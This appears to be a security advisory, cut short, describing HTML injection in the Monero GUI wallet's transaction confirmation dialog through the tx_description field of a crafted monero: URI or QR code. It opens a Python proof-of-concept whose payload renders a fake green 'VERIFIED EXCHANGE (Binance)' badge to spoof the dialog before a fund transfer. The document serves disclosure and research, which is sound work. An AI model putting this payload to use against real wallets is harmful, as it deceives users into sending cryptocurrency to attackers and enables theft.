HTML Injection in Transaction Confirmation Dialog via Address Book Description Enables UI Spoofing Before Fund Transfer

The Monero GUI wallet renders address book descriptions as `TextEdit.RichText` (HTML) in the transaction confirmation dialog (`TxConfirmationDialog.qml:299`) without HTML entity escaping. An attacker can craft a `monero:` URI or QR code with HTML markup in the `tx_description` parameter. When a …

#!/usr/bin/env python3

import argparse
import subprocess
import sys
import os
import urllib.parse
import json

# Attack payload - renders as green "VERIFIED EXCHANGE" badge in RichText
HTML_PAYLOAD = '<b><span style="font-size:18px;color:green">✓ VERIFIED EXCHANGE (Binance)</span></b><br><span …